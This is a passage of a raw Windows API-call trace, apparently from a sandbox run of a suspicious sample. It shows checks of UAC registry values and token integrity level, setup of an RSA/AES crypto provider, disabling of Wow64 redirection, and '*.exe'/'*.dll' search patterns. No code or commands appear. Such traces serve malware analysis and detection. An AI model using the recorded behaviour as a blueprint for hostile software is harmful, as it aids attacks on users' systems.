0x30d2c8 [0035.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c558 [0035.327] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2d8 [0035.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c438 [0035.327] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0035.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c5a0 [0035.327] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x26f7b4, lpData=0x0, lpcbData=0x26f7bc*=0x0 | out: lpType=0x26f7b4*=0x4, lpData=0x0, lpcbData=0x26f7bc*=0x4) returned 0x0 [0035.327] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x26f7b4, lpData=0x30c480, lpcbData=0x26f7bc*=0x4 | out: lpType=0x26f7b4*=0x4, lpData=0x30c480*=0x1, lpcbData=0x26f7bc*=0x4) returned 0x0 [0035.327] RegCloseKey (hKey=0x24) returned 0x0 [0035.327] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x26f82c | out: TokenHandle=0x26f82c*=0x24) returned 1 [0035.327] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x26f828, TokenInformationLength=0x4, ReturnLength=0x26f824 | out: TokenInformation=0x26f828, ReturnLength=0x26f824) returned 1 [0035.327] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x26f818 | out: TokenHandle=0x26f818*=0xa0) returned 1 [0035.327] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x26f814 | out: TokenInformation=0x0, ReturnLength=0x26f814) returned 0 [0035.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c5a0 [0035.327] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x30c5a0, TokenInformationLength=0x14, ReturnLength=0x26f814 | out: TokenInformation=0x30c5a0, ReturnLength=0x26f814) returned 1 [0035.327] GetSidSubAuthorityCount (pSid=0x30c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x30c5a9 [0035.327] GetSidSubAuthority (pSid=0x30c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x30c5b0 [0035.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c5a0) returned 1 [0035.327] NtClose (Handle=0xa0) returned 0x0 [0035.328] GetSystemInfo (in: lpSystemInfo=0x26f960 | out: lpSystemInfo=0x26f960*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0035.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x6c) returned 0x30b860 [0035.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c5a0 [0035.328] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0035.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c480 [0035.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c438 [0035.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c558 [0035.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c510 [0035.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5000) returned 0xed0048 [0035.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c4c8 [0035.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c4c8) returned 1 [0035.329] CryptAcquireContextW (in: phProv=0x26f974, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x26f974*=0x44e390) returned 1 [0035.345] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed0048) returned 1 [0035.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30b8d8 [0035.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30b960 [0035.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c4c8 [0035.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30b9e8 [0035.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ba70 [0035.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c3f0 [0035.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30baf8 [0035.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c3a8 [0035.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5000) returned 0xed0048 [0035.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c360 [0035.345] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c360) returned 1 [0035.345] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0035.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed0048) returned 1 [0035.438] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x448a90, lpbSaclPresent=0x26f928, pSacl=0x26f97c, lpbSaclDefaulted=0x26f928 | out: lpbSaclPresent=0x26f928, pSacl=0x26f97c, lpbSaclDefaulted=0x26f928) returned 1 [0035.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c360 [0035.438] CreateEventA (lpEventAttributes=0x26f970, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0035.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c360) returned 1 [0035.438] GetLastError () returned 0x0 [0035.438] LocalFree (hMem=0x448a90) returned 0x0 [0035.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c360 [0035.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5000) returned 0xed0048 [0035.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c318 [0035.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c318) returned 1 [0035.438] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0035.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed0048) returned 1 [0035.439] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x448a90, lpbSaclPresent=0x26f928, pSacl=0x26f97c, lpbSaclDefaulted=0x26f928 | out: lpbSaclPresent=0x26f928, pSacl=0x26f97c, lpbSaclDefaulted=0x26f928) returned 1 [0035.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c318 [0035.439] CreateEventA (lpEventAttributes=0x26f970, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0035.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c318) returned 1 [0035.439] GetLastError () returned 0x0 [0035.439] LocalFree (hMem=0x448a90) returned 0x0 [0035.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c318 [0035.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5000) returned 0xed0048 [0035.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c2d0 [0035.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c2d0) returned 1 [0035.439] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0035.440] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed0048) returned 1 [0035.440] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x448a90, lpbSaclPresent=0x26f928, pSacl=0x26f97c, lpbSaclDefaulted=0x26f928 | out: lpbSaclPresent=0x26f928, pSacl=0x26f97c, lpbSaclDefaulted=0x26f928) returned 1 [0035.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c2d0 [0035.440] CreateEventA (lpEventAttributes=0x26f970, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0035.440] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c2d0) returned 1 [0035.440] GetLastError () returned 0x0 [0035.440] LocalFree (hMem=0x448a90) returned 0x0 [0035.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2800) returned 0xed0048 [0035.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bb80 [0035.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c2d0 [0035.440] Wow64DisableWow64FsRedirection (in: OldValue=0x26f9a4 | out: OldValue=0x26f9a4*=0x0) returned 1 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2800) returned 0xed2850 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30d5e8 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2d8 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1f8 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c1f8) returned 1 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2d8) returned 1 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d5e8) returned 1 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2850) returned 1 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2800) returned 0xed2850 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30d5e8 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2d8 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1f8 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2c8 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30d600 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2b8 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1b0 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2a8 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c168 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c1f8) returned 1 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2d8) returned 1 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2c8) returned 1 [0035.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d5e8) returned 1 [0035.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30d5e8 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2c8 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2d8 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1f8 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c1b0) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2b8) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c168) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2a8) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d600) returned 1 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30d600 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2a8 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c168 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2b8 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1b0 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2c8) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c1f8) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2d8) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d5e8) returned 1 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30d5e8 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2d8 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1f8 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2c8 [0035.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c168) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2a8) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c1b0) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2b8) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d600) returned 1 [0035.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2850) returned 1 [0035.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30d9d0 [0035.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c1f8, cbMultiByte=5, lpWideCharStr=0x30d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30da58 [0035.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d9d0) returned 1 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30d600 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2b8 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30d9d0 [0035.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30da58) returned 1 [0035.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30da58 [0035.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c288, cbMultiByte=5, lpWideCharStr=0x30da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30dae0 [0035.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30da58) returned 1 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2a8 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30da58 [0035.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30dae0) returned 1 [0035.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c1f8) returned 1 [0035.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2d8) returned 1 [0035.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2c8) returned 1 [0035.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d5e8) returned 1 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2800) returned 0xed2850 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30d5e8 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2c8 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1f8 [0035.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2d8 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1b0 [0035.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d298 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c168 [0035.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d288 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x20) returned 0x30bc08 [0035.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d5e8) returned 1 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d278 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c240 [0035.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d268 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d258 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x20) returned 0xed5058 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d248 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c5e8 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d238 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c630 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d228 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c678 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d218 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c6c0 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d208 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c708 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d1e8 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c750 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d1f8 [0035.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c798 [0035.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c1f8) returned 1 [0035.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2c8) returned 1 [0035.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c1b0) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d2d8) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c168) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d298) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d288) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c240) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d278) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d268) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d258) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bc08) returned 1 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30d5e8 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d258 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d268 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d278 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c240 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d288 [0035.445] RtlAllocateHeap 